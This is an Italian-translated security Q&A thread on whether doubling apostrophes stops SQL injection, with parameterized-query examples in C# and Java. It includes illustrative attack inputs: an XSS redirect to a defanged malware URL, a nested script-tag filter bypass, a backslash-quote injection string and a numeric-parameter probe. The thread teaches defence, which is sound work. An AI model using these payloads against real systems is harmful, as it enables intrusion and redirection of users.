Conosco alcuni sviluppatori che raddoppiano gli apostrofi per mitigare SQLi. (Questo è quando l'input è "così diventa")
C'è un modo per batterlo?
Questo è su MS SQl Server.
Cerco di mostrare entrambi i lati dello spettro di sicurezza. La sicurezza è importante, quindi non dovresti solo sapere come sconfiggere la sicurezza, dovresti sapere anche come implementarla. Quindi, elencherò prima una prevenzione. Se non vuoi leggere questo, scorri verso il basso.
Raddoppiare gli apostrofi è non la risposta quando si tratta di sicurezza e può portare all'insicurezza. La risposta dipende dal linguaggio di programmazione che stai utilizzando.
Nota che questi sono tutti gli stessi concetti in ogni lingua. Hanno solo nomi diversi.
Anche con istruzioni preparate / callable o query con parametri, il seguente è errato:
// Bad code, don't use
string sqlString = "SELECT * FROM [table] WHERE [col] = '"+ something +"' AND [col2] = @Param";
Devi mai concatenare le tue variabili SQL.
Con il server SQL, a seconda della lingua scelta da te scelta, la tua query dovrebbe assomigliare a questa:
C #
using (SqlCommand command = new ("SELECT * FROM [tab] WHERE LName = @LName", connection))
{
// Add new SqlParameter to the command.
command.Parameters.Add(new SqlParameter("LName", txtBox.Test));
// Read in the SELECT results.
SqlDataReader reader = command.ExecuteReader();
while (reader.Read())
{
}
}
Java
Connection con = DriverManager.getConnection("database-connection-string","name","pass");
// Question marks are the bound variables which are parsed in the defined column order.
PreparedStatement findLName = con.prepareStatement("SELECT * FROM [tab] WHERE LName = ?");
// The order in which the question marks appear. You can have more than one in a prepared statement. First one is "1", second is "2", and so on.
findLName.setString(1, Lastname);
findLName.executeQuery();
Statement stmt = con.createStatement();
PHP
Controlla w3schools per un esempio, non voglio che la mia risposta diventi troppo lunga.
Si noti che questo ancora non si sbarazza della potenziale iniezione di script su una pagina web. È possibile inserire esattamente come chiedono, entro intervalli accettabili, quindi inviare i risultati in formato HTML.
Se inseriscono il seguente esempio (dumbed-down):
<script> window.location.href='hxxp://www.mymalwarewebsite.com/'; </script>
... e produci quel risultato nella tua pagina, allora sei nei guai. Quindi, cosa succede se rimuovi qualcosa da <script>
a </script>
? Cosa succede se inseriscono:
<scri<script>pt> window.location.href='hxxp://www.mymalwarewebsite.com/'; </scri<script>pt>
...? Se rimuovi i tag dello script con la sostituzione, sei ancora bloccato con quell'exploit.
Ciò che veramente vuoi è il seguente oltre a quanto sopra :
HtmlEncode
Java Html Sanitizer from OWASP
HtmlEntities
. Ā
potrebbe essere convertito in A
. Ancora peggio: U+02BC
o ʼ
verrebbe tradotto come '
, che è U+0027
. Si chiama Contrabbando basato su Unicode .
Is there a way to beat this?
Forse (almeno con MySQL). Ed è davvero semplice (non hai bisogno di alcuna codifica speciale o assenza di virgolette o altro):
\' [injection] -- -
Quindi, ad esempio, hai questa query:
SELECT FROM table WHERE user = '[INPUT]';
L'input è \' [injection] -- -
, ma con '
raddoppia, diventa: \'' [injection] -- -
, che ci conduce a questa query:
SELECT FROM table WHERE user = '\'' [injection] -- -';
La parte iniettata verrà eseguita come query, poiché non è più all'interno di virgolette.
L'unica difesa adeguata contro l'iniezione SQL sono istruzioni preparate. Inoltre, non sono difficili da usare e spesso producono un codice migliore. Non c'è davvero una buona scusa per difese casalinghe come il raddoppio delle quotazioni.
// update: sembra che ciò non sia effettivamente possibile con MSSQL. In questo modo lascerebbero i due problemi già menzionati nelle altre risposte: è ancora vulnerabile se non vengono utilizzate virgolette nella query , o (eventualmente) per determinati set di caratteri.
Dipende anche da come avviene effettivamente il raddoppio. Se è ad esempio fatto tramite il database , potrebbe essere vulnerabile .
Questo impedisce solo attacchi di SQL injection tramite parametri stringa. A volte, il parametro è un numero intero (si pensi a http://www.example.org/?page=3
), quindi non è necessario un apostrofo. A volte puoi verificare se i parametri sono vulnerabili se sostituisci page=3
con page=1+2
, ad esempio.
Leggi altre domande sui tag sql-injection